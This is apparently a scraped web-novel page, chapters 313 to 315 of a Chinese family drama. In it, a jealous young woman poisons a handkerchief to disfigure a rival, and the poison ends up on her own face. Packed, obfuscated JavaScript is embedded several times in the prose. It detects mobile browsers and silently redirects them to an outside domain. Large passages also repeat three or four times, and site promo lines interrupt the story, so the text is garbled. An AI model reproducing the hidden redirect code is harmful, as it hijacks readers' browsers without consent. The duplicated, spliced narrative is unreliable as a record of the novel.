最主要的是为那个还在**农场的不肖孙留一丝渺茫的希望。 如果继续得罪这两家孙子哪里不知道会遭遇什么。 王老爷子对**勇喝道“准备些像样的赔罪礼!你带着你这个不成器的东西跟我去姜家和陆家登门道歉!” “爸 当初自家老爷子可是和他们一样他们这样低声下气地去求人多掉面子。 “这什么这!让你去道歉还委屈你了?”王老爷子厉声打断他。 “爸我觉得……” “你觉得屁老子怎么就生了你这么个目光短浅的东西?是面子重要还是王家的将来重要?是王家的将来重要还是你这点可怜的自尊心重要?” “你可别忘了你儿子还在农场里**呢当初的案子苦主虽然倒台了可他犯罪是事实你要是不想他出来就尽管你觉得。” **勇还是有些迟疑总觉得这样是真的太丢人了。 说起来自己家可要比姜家好总是有儿孙在可姜家呢?就一个丫头片子也不知道这个丫头片子到底是不是姜家的血脉。 说不定就像传言说的那样就是个假冒产品。 王老爷子可不知道**勇的心里是这样想的要是知道他这个没什么眼光的儿子是这样想的估计连接下来的话都不想继续说了。 “你现在不去等人家下一步动作下来我们王家就真的永无翻身之日了!你想想这些年有多少家人没了?陆家和姜家能留到现在是我们这样刚回来的能招惹的?” **勇再不敢多言连忙招呼女儿准备去道歉。 王雪梅一听真要上门道歉脸色立即变得难看非常她猛地后退一步尖声叫喊。 “我不去!凭什么要我去道歉?我又没说错什么!她姜海棠来历不明就 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 是可疑!说不定就是用了什么见不得人的手段迷惑了姜爷爷和良辰哥!她抢了我的位置,应该是她给我道歉!” 她此刻已经被嫉妒和不甘冲昏了头脑,只觉得祖父和父亲太过懦弱,竟然要向那个**低头。 **勇见女儿如此冥顽不灵,也气急败坏了起来,气得扬手就要打她。 “混账东西!到现在还不知悔改!你想害死我们全家吗?” 王老爷子拦住儿子,看着孙女,眼神里是前所未有的失望和冰冷。 “你不去?可以。那从今天起,你就不再是王家的女儿。” 王老爷子是真的失望了,以前只觉得孙子有问题,孙女儿还是好的,就是这次回来,也想着,要是孙女儿能找到个好的,对家里也能有所助益。 谁知道,这个孙女儿外表看着还行,骨子里却也是个蠢的。 “王雪梅,你自己惹的祸,自己承担后果,我们王家是留不得你了,今天就搬出去!” 王老爷子这话说得极重,几乎是断绝关系的意思。 他知道,对这个已经钻了牛角尖的孙女,好言相劝已经没用了,只能重锤敲打。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235844|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只盼着能敲醒她,给王家留一线希望。 王雪梅被爷爷的话震住了,她用已经混沌的脑子思忖着这是什么意思? 这是要和自己断绝关系?想到这个,她脸上血色尽褪。 她虽然脑子已经不太好使钻了牛角尖,也知道,要是离开了王家,失去家族庇护的生活会是什么样子。 恐惧终于压过了嫉妒,她瘫坐在地上,捂着脸哭起来,但眼神里却闪过一丝怨恨和不甘。 她不敢再反抗,只能被迫去道歉,但心里那点念头却没有熄灭,反而因为被迫低头而扭曲。 她收拾了一番之后,顺从地跟着爷爷和父亲出了门。 只不过,她心里却在想着别的计划,她要想办法和陆良辰生米煮成熟饭,只要两个人发生点儿什么,一切就都能解决。 如果不能得到陆良辰,那就让姜海棠消失。 只要姜海棠出了意外,不在了,那自己一样可以达到目的。 这个念头让她自己都打了个寒战,她觉得,自己怎么可以这么恶毒? 但这个恶毒的心思却像毒藤一样缠绕在心上,挥之不去。 去姜家的路上,王雪梅一直低着头,看似羞愧,实则在脑子里飞速盘算怎么才能最快达到目的。 和陆良辰生米煮成熟饭,在京城的几率不大,他应该马上就要返回西北了。 你的朋友正在书荒,快去帮帮他吧 那就先从姜海棠下手,就算不能让她死,可以先计划让姜海棠毁容。 一个漂亮女人没有了容貌,还能继续占有现在这些吗? 她低头看看父亲拎着的礼品,小声开口:“爷爷,爸,我最近正好得了一块非常好的手帕,是苏杭老师傅绣的,图案雅致,不如,把这个也加上?显得我更有诚意一些。” 王老爷子和**勇听到王雪梅提起这个,只以为孙女儿心生悔意,是真的想要道歉,都十分欣慰。 “雪梅,形势逼人,你也不要觉得爷爷在强迫你,总有一天,你会明白,这是为了你好。去吧,取来带上,你们是同龄人,说不定能做朋友。” 要是孙女儿能和姜家这个闺女打好关系,一切都会不一样。 王雪梅心中暗喜,连忙跑回家。 她确实有一块苏绣手帕,是费了很大功夫才弄到的,小心翼翼的不得了。 为了达到目的,她只能舍弃这块手帕了。 她飞快地钻进自己的房间,从一个锁着的抽屉深处拿出一个小纸包,里面是一些白色的细腻粉末。 这是她以前下放的时候得到的东西,用过一次,那人皮肤红肿瘙痒,后来再也没好起来。 仅剩下的这点,就用在姜海棠这个**的身上。 王雪梅的眼中闪着恶毒的光芒。 她迅速找出手帕,屏住呼吸小心翼翼地将粉末抖在手帕一角,然后折叠好,让人看不出异常。 只要姜海棠看到这条手帕喜欢,只要她用了这条手帕,就等着毁容吧! 王雪梅带着恶毒念头即将得逞的快感,嘴角划过一抹恶毒的笑,然后快步追上了爷爷和父亲。 第314章 害人反害己 来到姜家小楼,张姨开门,见到是王家人之后,并没有笑脸。 但对方既然来了,姜老又有话让放进去,她便不甚恭敬地将人请了进去。 王老爷子一辈子傲娇,何曾这样被人看不起过? 但形式不比人强,还是过错方,因此,他咬着牙压下心头怒火,姿态放得极低。 **勇看着这一幕,心里也都是愤恨,他们王家现在是不比以前,但也不是一个下人能小看的。 是的,在**勇心里,身边的工作人员,不过都是下人而已。 等见到了姜老爷子和姜海棠,王老爷子率先开口说话。 他从进门就摆出了极低的姿态,先是深深叹了一口气,对着姜老爷子抱拳。 “姜老,是我家教不严,出了这么个丢人现眼的东西,我这张老脸都没地方搁了!今天,我带她来给你们,特别是给海棠同志,赔罪来了!” 王雪梅立即鞠躬,说着言不由衷的道歉话,眼睛却一直瞟着姜海棠。 这个女人,确实有勾引人的资本,竟然这样漂亮,不是乡下的姑娘吗?怎么和她见过的乡下姑娘不一样? 姜老爷子是什么人,怎么可能看不出她的小动作和游离的眼神。 当然了,不光是姜老爷子,就是姜海棠,也是心思细腻的,自然感觉到了王雪梅眼底的恶意。 这人怕不是来给自己道歉的,是别有居心吧? 她倒是要看看,这个女人还想做什么。 这是两家商量过给王家的最后机会了,要是王雪梅冥顽不灵,王家只怕…… 正思索间,就看到王雪梅拿着一个精致的盒子递给自己。 “这是我无意间得的一块手帕,是苏绣老师傅的作品,送给妹妹赔礼。”王雪梅一面说话,一面看着姜海棠。 看到姜海棠的面色如常,好像并没有生气,她放心了许多。 “都怪我胡说话,才让人误解,可妹妹要相信我,我真的就是顺嘴说了一句,没有恶意,谁知道,就被人给传成那样难听了。” 王雪梅乍一听是在道歉,可是仔细听,并没有多少真心实意的道歉,反而字字句句都在为她自己解脱,甚至,还在引导就是姜海棠的身世存疑。 姜海棠看着王雪梅递过来的锦盒,并没有伸手去接,她脸上带着淡淡的、疏离的笑容。 这个女人,当自己是什么都不懂的傻子吗?那些话,什么意思她还是明白的。 姜海棠几乎可以断定,王雪梅,绝对居心不良。 王雪 梅被姜海棠看得有些心慌了,她总觉得,姜海棠仿佛能看透她心底那点龌龊心思。 可是,她的表情好像很正常啊,应该不会发现什么吧? 她这个计划连父亲和爷爷都不知道,姜海棠怎么可能看出来。 “妹妹,你能不能原谅我这一次,我以后保证不会说任何一句对你不利的话。”王雪梅继续说。 “王同志太客气了,我父母就只有我一个孩子,我不喜欢和别人姐姐妹妹。”姜海棠语气平和,却都是拒绝示好的话。 姜老爷子严肃着一张脸,没有开口,只等着看孙女儿要怎么处理。 “王同志既然是无心之失,道歉就不必了,东西也请你们拿回去。” 姜海棠这话说得滴水不漏,既然对方否定是故意的,那就无需道歉,至于礼物,更是不需要。 既然都拒绝了,那就是没有接受道歉,两家关系以前怎么样,以后还是怎么样。 王老爷子和**勇两个人都听明白了姜海棠这话里的意思,他们不管怨怼姜海棠,只能恶狠狠地瞪了一眼自家不成器的东西。 王雪梅也没想到姜海棠会如此直接拒绝,她伸出去的手僵在半空,脸上那点假装的诚恳几乎挂不住。 心里却在怨恨姜海棠果然是个村姑,连点儿人情世故都不懂,她知道不知道,大院里的人,不管怎么样,面上的情分还是要顾着的。 “这……这就是我的一点心意,不值什么钱,就是觉得这手帕很配妹……姜同志你的气质。” 察觉到姜海棠可能不会收下礼物之后,她脑瓜子转得飞快,还是决定冒险下手,飞快地打开盒子,拿出里面的手帕,似乎想直接展示给姜海棠看,动作间带着一丝不易察觉的急切。 姜海棠大约猜出来了,这是在手绢里面下了药了,就是不知道是什么样的药。 她脑子想着,装作挪步子,在手帕被拿出来的一瞬间用脚绊一下王雪梅。 然后,整张手帕在王雪梅失衡的时候,扑到了王雪梅的脸上…… 王雪梅大惊失色,怎么会这样,她原本想着装作失手,将手中的帕子划过姜海棠的脸。 可现在,都到自己脸上了…… 王雪梅哪里能顾得了别的,这些药粉的厉害,她很清楚。 她立即惊慌失措地朝着外面跑去。 就在这时,坐在主位上的姜老爷子重重地将茶杯顿在茶几上,发出“咚”的一声闷响。 “拦住她!” 所有人都吓了一跳,看向被拦住之后挣 扎着要离开的王雪梅。 尤其是王家父子两个,甚至没有想明白,王雪梅忽然之间,怎么就疯了一样。 姜老爷子面沉如水,眼神锐利地扫过王雪梅和已经被丢在地上的盒子和手帕,最终目光落在王老爷子身上。 “让医生过来瞧瞧,这上面是什么肮脏东西。”姜老爷子冷着声音说。 王家父子听到这句话的时候,还在怀疑,是不是听错了。 姜老爷子这话是什么意思?他们带的可都是好东西,怎么就成了肮脏东西了? 王老爷子很快明白过来,一张老脸赧然,半晌没有说话。 “老王,你们今天来,如果是真心道歉,我们姜家也不是得理不饶人的人家。可看起来,你们所图不小啊。我姜国柱统共这么一个孙女儿,怎么就招了你们的眼了?” 王老爷子脸上火辣辣的,想说点什么反驳,但事情很明显,自家孙女动手脚了。 他只能深深地吸一口气,恶狠狠瞪了不争气的孙女一眼,对**勇喝道:“还愣着干什么?把东西收起来!丢人现眼的东西!” 现在最重要的是要毁尸灭迹,要是真的被姜国柱拿到了真凭实据,王家还有罪受。 **勇臊得满脸通红,赶紧上前就要将东西收拾掉,可是,姜家的人怎么可能让他得逞,立即九江人拦了下来。 “你们怎么敢?”王老爷子立即呵斥姜家这边的人。 “王老爷子,保障姜**的安全,是我们的职责所在!”小胡十分硬气的说道。 王雪梅还在撕心裂肺地叫着,早点去医院处理,或许还能挽救这张脸,要是拖延的时间太长,她就真的要毁容了。 姜海棠这个**,怎么可以这样恶毒? 她就这么眼睁睁地看着? 她恶毒地盯着姜海棠,一双眼睛都要喷火了。 姜海棠将她的反应尽收眼底,心中更是冷笑。 害人终害己,虽然不知道这上面有什么,但肯定是不能是什么好的,那就让王雪梅自食恶果吧。 医生来得很快,经过一番检查之后,确定手帕上面被下了药。 王老爷子听着医生这么说,只觉得整个人都软了,当下就差点坐在地上。 亏得一旁的**勇给搀扶住了。 姜老爷子懒得再看王家人一眼,直接安排:“小胡,打电话,有人意图对我下药,让保卫处处理。” 姜老爷子甚至没有对王老爷子再多说一句话,转身就带着姜海棠离开了。 王老爷 子脸上青一阵白一阵,却也只能硬着头皮起身。 “老姜,千错万错是我王家的错,以后一定严加管教!告辞!” 说完,他几乎是脚步踉跄地带着儿子离开了姜家,并没有多看一眼王雪梅。 **勇看向女儿,低声喊道:“爸,雪梅她……” “以后,你就只当没有生过这个女儿,这样的孩子,我王家要不起!” 王老爷子没想到,王雪梅竟然已经坏到如此地步了。 她如果只是坏,不是蠢也就罢了,偏偏,是个又蠢又坏的。 心中最后一丝对孙女的期望也彻底破灭,王老爷子知道,王家,彻底完了。 而王雪梅被保卫处的人带走的时候,眼中淬毒般的恨意几乎要化为实质。 她的计划失败了,害了自己,姜海棠那个女人还好好的,怎么可以这样?怎么能这样? 姜海棠!姜海棠!都是因为这个女人! 她不会就这么算了的!绝对不能! 既然毁容不行,那就**!只要她**,一切都会回到正轨! 姜家祖孙两个回到楼上,姜老爷子说道:“海棠,都是爷爷不好,让你差点受伤害。” “爷爷,我这不是没事,您已经很尽力地保护我了。” “我本来想着,今年就办退休,以后守着你和两个小重孙过日子就行,现在看来,我还是不能退啊,还得为你保驾护航几年才行。” 孙女儿确实能干,可是,到底资历浅,容易被人对付。 姜海棠说道:“爷爷,我没事,能自己应付,您的身体要是坚持不住,就退下来,我和良辰都会孝敬您。” “说起来,这臭小子每天来来**跑得勤快,今年怎么不见人了?” “他马上就要回西北去了,今天去部里汇报工作去了!”姜海棠生怕爷爷对陆良辰有不好的想法,忙为他解释。 这边陆家的人已经听到了消息,陆老爷子带着警卫员和医生一起过来了。 在确定了孙媳妇和两个重孙子都很好之后,陆老爷子才算安心了许多。 但还是让医生给姜海棠和两个孩子都做了诊断。 子脸上青一阵白一阵,却也只能硬着头皮起身。 “老姜,千错万错是我王家的错,以后一定严加管教!告辞!” 说完,他几乎是脚步踉跄地带着儿子离开了姜家,并没有多看一眼王雪梅。 **勇看向女儿,低声喊道:“爸,雪梅她……” “以后,你就只当没有生过这个女儿,这样的孩子,我王家要不起!” 王老爷子没想到,王雪梅竟然已经坏到如此地步了。 她如果只是坏,不是蠢也就罢了,偏偏,是个又蠢又坏的。 心中最后一丝对孙女的期望也彻底破灭,王老爷子知道,王家,彻底完了。 而王雪梅被保卫处的人带走的时候,眼中淬毒般的恨意几乎要化为实质。 她的计划失败了,害了自己,姜海棠那个女人还好好的,怎么可以这样?怎么能这样? 姜海棠!姜海棠!都是因为这个女人! 她不会就这么算了的!绝对不能! 既然毁容不行,那就**!只要她**,一切都会回到正轨! 姜家祖孙两个回到楼上,姜老爷子说道:“海棠,都是爷爷不好,让你差点受伤害。” “爷爷,我这不是没事,您已经很尽力地保护我了。” “我本来想着,今年就办退休,以后守着你和两个小重孙过日子就行,现在看来,我还是不能退啊,还得为你保驾护航几年才行。” 孙女儿确实能干,可是,到底资历浅,容易被人对付。 姜海棠说道:“爷爷,我没事,能自己应付,您的身体要是坚持不住,就退下来,我和良辰都会孝敬您。” “说起来,这臭小子每天来来**跑得勤快,今年怎么不见人了?” “他马上就要回西北去了,今天去部里汇报工作去了!”姜海棠生怕爷爷对陆良辰有不好的想法,忙为他解释。 这边陆家的人已经听到了消息,陆老爷子带着警卫员和医生一起过来了。 在确定了孙媳妇和两个重孙子都很好之后,陆老爷子才算安心了许多。 但还是让医生给姜海棠和两个孩子都做了诊断。 子脸上青一阵白一阵,却也只能硬着头皮起身。 “老姜,千错万错是我王家的错,以后一定严加管教!告辞!” 说完,他几乎是脚步踉跄地带着儿子离开了姜家,并没有多看一眼王雪梅。 **勇看向女儿,低声喊道:“爸,雪梅她……” “以后,你就只当没有生过这个女儿,这样的孩子,我王家要不起!” 王老爷子没想到,王雪梅竟然已经坏到如此地步了。 她如果只是坏,不是蠢也就罢了,偏偏,是个又蠢又坏的。 心中最后一丝对孙女的期望也彻底破灭,王老爷子知道,王家,彻底完了。 而王雪梅被保卫处的人带走的时候,眼中淬毒般的恨意几乎要化为实质。 她的计划失败了,害了自己,姜海棠那个女人还好好的,怎么可以这样?怎么能这样? 姜海棠!姜海棠!都是因为这个女人! 她不会就这么算了的!绝对不能! 既然毁容不行,那就**!只要她**,一切都会回到正轨! 姜家祖孙两个回到楼上,姜老爷子说道:“海棠,都是爷爷不好,让你差点受伤害。” “爷爷,我这不是没事,您已经很尽力地保护我了。” “我本来想着,今年就办退休,以后守着你和两个小重孙过日子就行,现在看来,我还是不能退啊,还得为你保驾护航几年才行。” 孙女儿确实能干,可是,到底资历浅,容易被人对付。 姜海棠说道:“爷爷,我没事,能自己应付,您的身体要是坚持不住,就退下来,我和良辰都会孝敬您。” “说起来,这臭小子每天来来**跑得勤快,今年怎么不见人了?” “他马上就要回西北去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235845|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今天去部里汇报工作去了!”姜海棠生怕爷爷对陆良辰有不好的想法,忙为他解释。 这边陆家的人已经听到了消息,陆老爷子带着警卫员和医生一起过来了。 在确定了孙媳妇和两个重孙子都很好之后,陆老爷子才算安心了许多。 但还是让医生给姜海棠和两个孩子都做了诊断。 子脸上青一阵白一阵,却也只能硬着头皮起身。 “老姜,千错万错是我王家的错,以后一定严加管教!告辞!” 说完,他几乎是脚步踉跄地带着儿子离开了姜家,并没有多看一眼王雪梅。 **勇看向女儿,低声喊道:“爸,雪梅她……” “以后,你就只当没有生过这个女儿,这样的孩子,我王家要不起!” 王老爷子没想到,王雪梅竟然已经坏到如此地步了。 她如果只是坏,不是蠢也就罢了,偏偏,是个又蠢又坏的。 心中最后一丝对孙女的期望也彻底破灭,王老爷子知道,王家,彻底完了。 而王雪梅被保卫处的人带走的时候,眼中淬毒般的恨意几乎要化为实质。 她的计划失败了,害了自己,姜海棠那个女人还好好的,怎么可以这样?怎么能这样? 姜海棠!姜海棠!都是因为这个女人! 她不会就这么算了的!绝对不能! 既然毁容不行,那就**!只要她**,一切都会回到正轨! 姜家祖孙两个回到楼上,姜老爷子说道:“海棠,都是爷爷不好,让你差点受伤害。” “爷爷,我这不是没事,您已经很尽力地保护我了。” “我本来想着,今年就办退休,以后守着你和两个小重孙过日子就行,现在看来,我还是不能退啊,还得为你保驾护航几年才行。” 孙女儿确实能干,可是,到底资历浅,容易被人对付。 姜海棠说道:“爷爷,我没事,能自己应付,您的身体要是坚持不住,就退下来,我和良辰都会孝敬您。” “说起来,这臭小子每天来来**跑得勤快,今年怎么不见人了?” “他马上就要回西北去了,今天去部里汇报工作去了!”姜海棠生怕爷爷对陆良辰有不好的想法,忙为他解释。 这边陆家的人已经听到了消息,陆老爷子带着警卫员和医生一起过来了。 在确定了孙媳妇和两个重孙子都很好之后,陆老爷子才算安心了许多。 但还是让医生给姜海棠和两个孩子都做了诊断。 子脸上青一阵白一阵,却也只能硬着头皮起身。 “老姜,千错万错是我王家的错,以后一定严加管教!告辞!” 说完,他几乎是脚步踉跄地带着儿子离开了姜家,并没有多看一眼王雪梅。 **勇看向女儿,低声喊道:“爸,雪梅她……” “以后,你就只当没有生过这个女儿,这样的孩子,我王家要不起!” 王老爷子没想到,王雪梅竟然已经坏到如此地步了。 她如果只是坏,不是蠢也就罢了,偏偏,是个又蠢又坏的。 心中最后一丝对孙女的期望也彻底破灭,王老爷子知道,王家,彻底完了。 而王雪梅被保卫处的人带走的时候,眼中淬毒般的恨意几乎要化为实质。 她的计划失败了,害了自己,姜海棠那个女人还好好的,怎么可以这样?怎么能这样? 姜海棠!姜海棠!都是因为这个女人! 她不会就这么算了的!绝对不能! 既然毁容不行,那就**!只要她**,一切都会回到正轨! 姜家祖孙两个回到楼上,姜老爷子说道:“海棠,都是爷爷不好,让你差点受伤害。” “爷爷,我这不是没事,您已经很尽力地保护我了。” “我本来想着,今年就办退休,以后守着你和两个小重孙过日子就行,现在看来,我还是不能退啊,还得为你保驾护航几年才行。” 孙女儿确实能干,可是,到底资历浅,容易被人对付。 姜海棠说道:“爷爷,我没事,能自己应付,您的身体要是坚持不住,就退下来,我和良辰都会孝敬您。” “说起来,这臭小子每天来来**跑得勤快,今年怎么不见人了?” “他马上就要回西北去了,今天去部里汇报工作去了!”姜海棠生怕爷爷对陆良辰有不好的想法,忙为他解释。 这边陆家的人已经听到了消息,陆老爷子带着警卫员和医生一起过来了。 在确定了孙媳妇和两个重孙子都很好之后,陆老爷子才算安心了许多。 但还是让医生给姜海棠和两个孩子都做了诊断。 子脸上青一阵白一阵,却也只能硬着头皮起身。 “老姜,千错万错是我王家的错,以后一定严加管教!告辞!” 说完,他几乎是脚步踉跄地带着儿子离开了姜家,并没有多看一眼王雪梅。 **勇看向女儿,低声喊道:“爸,雪梅她……” “以后,你就只当没有生过这个女儿,这样的孩子,我王家要不起!” 王老爷子没想到,王雪梅竟然已经坏到如此地步了。 她如果只是坏,不是蠢也就罢了,偏偏,是个又蠢又坏的。 心中最后一丝对孙女的期望也彻底破灭,王老爷子知道,王家,彻底完了。 而王雪梅被保卫处的人带走的时候,眼中淬毒般的恨意几乎要化为实质。 她的计划失败了,害了自己,姜海棠那个女人还好好的,怎么可以这样?怎么能这样? 姜海棠!姜海棠!都是因为这个女人! 她不会就这么算了的!绝对不能! 既然毁容不行,那就**!只要她**,一切都会回到正轨! 姜家祖孙两个回到楼上,姜老爷子说道:“海棠,都是爷爷不好,让你差点受伤害。” “爷爷,我这不是没事,您已经很尽力地保护我了。” “我本来想着,今年就办退休,以后守着你和两个小重孙过日子就行,现在看来,我还是不能退啊,还得为你保驾护航几年才行。” 孙女儿确实能干,可是,到底资历浅,容易被人对付。 姜海棠说道:“爷爷,我没事,能自己应付,您的身体要是坚持不住,就退下来,我和良辰都会孝敬您。” “说起来,这臭小子每天来来**跑得勤快,今年怎么不见人了?” “他马上就要回西北去了,今天去部里汇报工作去了!”姜海棠生怕爷爷对陆良辰有不好的想法,忙为他解释。 这边陆家的人已经听到了消息,陆老爷子带着警卫员和医生一起过来了。 在确定了孙媳妇和两个重孙子都很好之后,陆老爷子才算安心了许多。 但还是让医生给姜海棠和两个孩子都做了诊断。 第315章 我舍不得 至于理由,还是挺有道理的,就算没有明面上的伤害,万一被吓到了怎么办? 虽然姜海棠觉得陆老爷子的担心有点多余,但这是老人家的一片心意,姜海棠还是接受了。 等诊断结束,知道孩子们和姜海棠确确实实好好的,陆老爷子这才彻底安心。 听姜海棠说了今天的事情之后,陆老爷子看着姜海棠,眼中满是欣慰和骄傲。 “海棠,你处理得很好。爷爷没想到,你能这么沉稳大气。” “那可不是,这可是我的孙女,能差了?”姜老爷子这时候可是得意的不得了,就差眉毛眼睛都得意的乱飞了。 姜海棠笑盈盈的说道道:“因为我知道,有姜家和陆家在,我什么都不用怕。” 这就是她的底气,只要不是胡作非为,在合理合法的范围之内,她在京城就算横着走,都是可以的。 王家,就算她对付得狠一点,又能怎么样? 何况,先撩着贱,是王雪梅先打算对自己动手的,被处置,也是应当。 这边才说了没几句话,调查结果已经出来了,经过监测,手帕是有毒,皮肤接触之后,会对皮肤造成不可逆的伤害。 王家这个闺女,心肠过于歹毒,明知道海棠是她唯一的宝贝,还敢这么对付。 夸奖完了姜海棠,姜家的客厅里,气氛却又严肃起来。 “我们两个老家伙,这些年为了蛰伏,确实是心慈手软了一下,连王家的闺女都敢对我们动手了。”姜国柱的脸上是姜海棠从未见过的严肃。 陆老爷子深以为然。 “这次,就用王家磨磨刀。” “小胡,把今天保卫处初步的问询记录,还有医生出具的检测报告,整理一份出来,要详细。”姜老爷子沉声说道。 “是,**!”小胡立正敬礼,神情严肃地退下。 他知道,王家这一次是碰到**的底线了,**这是要对王家动真格的了。 陆老爷子眼神晦暗,他拿起桌上的红色专线电话,沉吟片刻,拨通了一个号码。 “喂,是我。”陆老爷子的声音不高,却带着不容置疑的威严,“王家那个丫头,叫王雪梅,你们好好调查一下,我怀疑,这丫头背后与不该接触的人有所接触,重点调查他们家下放那几年。” “还有,对王家在农场的那个儿子,重点关照一下,彻查一下还有没有什么违法乱纪的,要是还有,就在农场里,不用出来了。” 电话那头的人听到陆老要对王家动手,虽然不知 听说看这本书的人都是很幸运的,分享后你的运气会更棒 道什么原因,但还是恭敬地回应着。 他顿了顿,语气斩钉截铁:“王家的家教堪忧,王振山同志和**勇同志如果连自家人都管不好,我看,他们父子现在的岗位是否还能胜任,也需要打上一个问号了。你们按程序,严肃处理,绝不姑息!” 这不是一句气话,而是一个分量极重的表态。 电话那头的人心领神会,知道王家这次是在劫难逃了。 那人心里头多少是给王家点了蜡。 看起来,王家这一次是将人得罪的狠了。 不过,在调查王家之前,他得了解一下,王家到底对陆家做了什么。 他很快就了解了事情的经过,真是没想到,王家一个拔了牙的老虎,还敢这样嚣张。 谁给他们的勇气对陆老和姜老一起护着的人动手的? 不过,他心里也明白,从此之后,京城里又多了一个不能得罪的人。 姜老爷子虽然没有明说,可陆家这个孙媳妇,只怕和姜老有什么关系啊。 陆良辰晚上忙完回到家里,听到王雪梅打算对付姜海棠的时候,吓了个一佛出世二佛升天。 “海棠……我不知道你会遇到这样的危险,我应该留在家里守着你。” 他的声音沙哑,带着难以掩饰的恐慌,他不敢想象如果那药粉真的沾到海棠脸上会怎样,光是念头一闪,心就像被狠狠揪住,痛得窒息。 姜海棠感受到他的恐惧,心里软成一片,抬手轻轻拍着他的背,像安抚受惊的孩子。 “没事了,你看,我这不是好好的?你媳妇儿厉害着呢,没吃亏,倒是让她自食其果了。” 陆良辰难得语气强硬地打断她,稍稍松开怀抱,双手捧起她的脸,深邃的眼眸里满是认真和后怕,“不行,你承担任何一点风险都不行!海棠,我受不了你有一丁点闪失。” 他的拇指珍惜地摩挲着她的脸颊,仿佛确认她的完好无损。 姜海棠看着他眼底浓得化不开的担忧和爱意,心里暖烘烘的,故意逗他:“哦?那陆厂长打算怎么办?把我拴在裤腰带上天天带着?” 陆良辰被她逗得哭笑不得,紧张的气氛缓和不少。 “要不,我还是带着你回西北去吧,比京城安全多了。” 何婉仪瞪了一眼儿子骂道:“说什么胡话呢。” “哼,还不是你自己的问题,才让人家姑娘因爱生恨,对我宝贝孙女动手了。”姜老爷子冷哼一声,说道。 陆良辰被姜老爷子骂了,却觉得自己有点冤枉。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 那王家姑娘比他年龄小上学的时候都没有过交集充其量就是在一个大院里生活过。 明明没有多少交集为什么就盯上自己了? “爷爷真是冤枉啊那姑娘就是面对面走过来我都未必能认识我也不知道她这么做是为什么。” 陆良辰对姜老爷子解释完忙对着姜海棠表忠心表示自己真的不认识王雪梅从小到大都没有和王雪梅说过几句话。 对于陆良辰的保证姜海棠是相信的。 姜老爷子本来也清楚这件事怪不着陆良辰不能因为优秀被人觊觎就怪罪陆良辰。 “爷爷我们不能给就这么轻易地放过王家养虎为患啊!” “这个还用得着你说?我们两个老东西这点成算还是有的。”陆老爷子没好气地瞪了一眼自己这个不靠谱的孙子。 “我明天就得回西北了这边的事情可能顾及不到还要请两位爷爷多多费心。” “你在西北一个人可不能再招惹上什么不该招惹的人!”姜老爷子还是有点迁怒。 陆良辰也只能喏喏应下哪里还敢辩解一句。 好不容易等大家都散了陆良辰和姜海棠回到自己房间里。 姜海棠安静地靠在他胸膛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240216|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着明天就要分开很是舍不得:“虽然我很舍不得可是良辰工作要紧家里有爷爷你放心我不会吃亏的。” “我知道你不会吃亏可是到底也不能放心。”陆良辰叹气“王雪梅虽然被抓了但我不在你们身边心里总是悬着。” “陆良辰同志”姜海棠抬起头故意板起小脸“请你相信你爱人的战斗力好吗?我可是能文能武的姜海棠!再说了家里还有这么多长辈和警卫员呢还能保护不了一个我?” 看着她俏皮又自信的模样陆良辰的心终于安定了几分。 他低笑忍不住低头吻住她那伶俐的小嘴这个吻起初带着安抚和珍惜渐渐变得深入缠绵 一吻结束两人气息都有些微乱。 陆良辰抵着她的唇瓣哑声要求:“答应我你要好好的绝对不能有任何事要是有人不知道天高地厚想要对付你你只管对付回去。” 姜海棠促狭地笑道:“那要是我闯了祸怎么办?” “不怕闯祸闯了祸我和爷爷们会为你摆平你只要保护好自己的安全就行。” 陆良辰敢这么说主要是知道姜海棠就不是那种会闯祸的人。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 要说起闯祸,大院里长大的这些,哪个都比姜海棠厉害,只要不触犯法律法规就行。 “你回去后要照顾好自己,按时吃饭,别一忙起来就忘了。要是回来瘦了,看我怎么收拾你。” “怎么收拾?”陆良辰挑眉,眼神带了点坏笑,意有所指。 姜海棠脸更红了,掐他腰间的软肉:“想得美!罚你睡客厅!” 两人笑闹一阵,冲淡了离愁别绪。 夜深人静,他们相拥而卧,低声说着体贴话,直到姜海棠抵不住困意,在陆良辰安稳的怀抱里沉沉睡去。 陆良辰却久久未眠,就着月光,细细描摹妻儿的睡颜,仿佛要将这一刻刻进骨子里。 第二天,陆良辰在天蒙蒙亮时便轻手轻脚地起床,生怕吵醒熟睡的姜海棠。 他穿戴整齐,在妻子的额头落下无数个轻吻,才一步三回头地出门。 何婉仪已经起来了,正在客厅里等着陆良辰呢。 “妈,你怎么这么早起来了?” 